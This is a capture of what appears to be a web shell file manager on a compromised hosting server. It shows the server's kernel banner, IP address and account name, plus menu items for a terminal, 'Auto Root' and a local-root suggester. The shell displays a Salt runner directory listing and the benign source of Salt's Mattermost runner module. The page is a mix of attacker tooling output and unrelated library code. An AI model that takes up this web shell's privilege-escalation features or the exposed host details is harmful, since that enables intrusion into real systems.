Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
lib /
python3.6 /
site-packages /
salt /
runners /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2022-10-11 05:09
__init__.py
26
B
-rw-r--r--
2022-05-16 09:16
asam.py
11.2
KB
-rw-r--r--
2022-05-16 09:16
auth.py
1.69
KB
-rw-r--r--
2022-05-16 09:16
bgp.py
17.5
KB
-rw-r--r--
2022-05-16 09:16
cache.py
12.72
KB
-rw-r--r--
2022-05-16 09:16
cloud.py
4.18
KB
-rw-r--r--
2022-05-16 09:16
config.py
913
B
-rw-r--r--
2022-05-16 09:16
ddns.py
8.89
KB
-rw-r--r--
2022-05-16 09:16
digicertapi.py
21.63
KB
-rw-r--r--
2022-05-16 09:16
doc.py
1.39
KB
-rw-r--r--
2022-05-16 09:16
drac.py
5.29
KB
-rw-r--r--
2022-05-16 09:16
error.py
545
B
-rw-r--r--
2022-05-16 09:16
event.py
2.1
KB
-rw-r--r--
2022-05-16 09:16
f5.py
9.58
KB
-rw-r--r--
2022-05-16 09:16
fileserver.py
17.37
KB
-rw-r--r--
2022-05-16 09:16
git_pillar.py
3.98
KB
-rw-r--r--
2022-05-16 09:16
http.py
2.35
KB
-rw-r--r--
2022-05-16 09:16
jobs.py
17.45
KB
-rw-r--r--
2022-05-16 09:16
launchd.py
1.35
KB
-rw-r--r--
2022-05-16 09:16
lxc.py
18.14
KB
-rw-r--r--
2022-05-16 09:16
manage.py
25.84
KB
-rw-r--r--
2022-05-16 09:16
mattermost.py
4.68
KB
-rw-r--r--
2022-05-16 09:16
mine.py
1.68
KB
-rw-r--r--
2022-05-16 09:16
nacl.py
8.15
KB
-rw-r--r--
2022-05-16 09:16
net.py
38.97
KB
-rw-r--r--
2022-05-16 09:16
network.py
2.42
KB
-rw-r--r--
2022-05-16 09:16
pagerduty.py
4.5
KB
-rw-r--r--
2022-05-16 09:16
pillar.py
5.14
KB
-rw-r--r--
2022-05-16 09:16
pkg.py
1.35
KB
-rw-r--r--
2022-05-16 09:16
queue.py
8.88
KB
-rw-r--r--
2022-05-16 09:16
reactor.py
4.97
KB
-rw-r--r--
2022-05-16 09:16
salt.py
4.69
KB
-rw-r--r--
2022-05-16 09:16
saltutil.py
21.5
KB
-rw-r--r--
2022-05-16 09:16
sdb.py
2.14
KB
-rw-r--r--
2022-05-16 09:16
smartos_vmadm.py
11.73
KB
-rw-r--r--
2022-05-16 09:16
spacewalk.py
9.8
KB
-rw-r--r--
2022-05-16 09:16
ssh.py
771
B
-rw-r--r--
2022-05-16 09:16
state.py
8.88
KB
-rw-r--r--
2022-05-16 09:16
survey.py
5.84
KB
-rw-r--r--
2022-05-16 09:16
test.py
1.75
KB
-rw-r--r--
2022-05-16 09:16
thin.py
1.74
KB
-rw-r--r--
2022-05-16 09:16
vault.py
10.09
KB
-rw-r--r--
2022-05-16 09:16
venafiapi.py
6.68
KB
-rw-r--r--
2022-05-16 09:16
virt.py
17.59
KB
-rw-r--r--
2022-05-16 09:16
vistara.py
5.6
KB
-rw-r--r--
2022-05-16 09:16
winrepo.py
8.57
KB
-rw-r--r--
2022-05-16 09:16
Save
Rename
""" Module for sending messages to Mattermost .. versionadded:: 2017.7.0 :configuration: This module can be used by either passing an api_url and hook directly or by specifying both in a configuration profile in the salt master/minion config. For example: .. code-block:: yaml mattermost: hook: peWcBiMOS9HrZG15peWcBiMOS9HrZG15 api_url: https://example.com """ import logging import salt.utils.json # pylint: disable=import-error,no-name-in-module,redefined-builtin import salt.utils.mattermost # pylint: enable=import-error,no-name-in-module from salt.exceptions import SaltInvocationError log = logging.getLogger(__name__) __virtualname__ = "mattermost" def __virtual__(): """ Return virtual name of the module. :return: The virtual name of the module. """ return __virtualname__ def _get_hook(): """ Retrieves and return the Mattermost's configured hook :return: String: the hook string """ hook = __salt__["config.get"]("mattermost.hook") or __salt__["config.get"]( "mattermost:hook" ) if not hook: raise SaltInvocationError("No Mattermost Hook found") return hook def _get_api_url(): """ Retrieves and return the Mattermost's configured api url :return: String: the api url string """ api_url = __salt__["config.get"]("mattermost.api_url") or __salt__["config.get"]( "mattermost:api_url" ) if not api_url: raise SaltInvocationError("No Mattermost API URL found") return api_url def _get_channel(): """ Retrieves the Mattermost's configured channel :return: String: the channel string """ channel = __salt__["config.get"]("mattermost.channel") or __salt__["config.get"]( "mattermost:channel" ) return channel def _get_username(): """ Retrieves the Mattermost's configured username :return: String: the username string """ username = __salt__["config.get"]("mattermost.username") or __salt__["config.get"]( "mattermost:username" ) return username def post_message(message, channel=None, username=None, api_url=None, hook=None): """ Send a message to a Mattermost channel. :param channel: The channel name, either will work. :param username: The username of the poster. :param message: The message to send to the Mattermost channel. :param api_url: The Mattermost api url, if not specified in the configuration. :param hook: The Mattermost hook, if not specified in the configuration. :return: Boolean if message was sent successfully. CLI Example: .. code-block:: bash salt-run mattermost.post_message message='Build is done' """ if not api_url: api_url = _get_api_url() if not hook: hook = _get_hook() if not username: username = _get_username() if not channel: channel = _get_channel() if not message: log.error("message is a required option.") parameters = dict() if channel: parameters["channel"] = channel if username: parameters["username"] = username parameters["text"] = "```" + message + "```" # pre-formatted, fixed-width text log.debug("Parameters: %s", parameters) data = salt.utils.json.dumps(parameters) result = salt.utils.mattermost.query( api_url=api_url, hook=hook, data="payload={}".format(data) ) if result: return True else: return result def post_event(event, channel=None, username=None, api_url=None, hook=None): """ Send an event to a Mattermost channel. :param channel: The channel name, either will work. :param username: The username of the poster. :param event: The event to send to the Mattermost channel. :param api_url: The Mattermost api url, if not specified in the configuration. :param hook: The Mattermost hook, if not specified in the configuration. :return: Boolean if message was sent successfully. """ if not api_url: api_url = _get_api_url() if not hook: hook = _get_hook() if not username: username = _get_username() if not channel: channel = _get_channel() if not event: log.error("message is a required option.") log.debug("Event: %s", event) log.debug("Event data: %s", event["data"]) message = "tag: {}\r\n".format(event["tag"]) for key, value in event["data"].items(): message += "{}: {}\r\n".format(key, value) result = post_message( message, channel=channel, username=username, api_url=api_url, hook=hook ) return bool(result)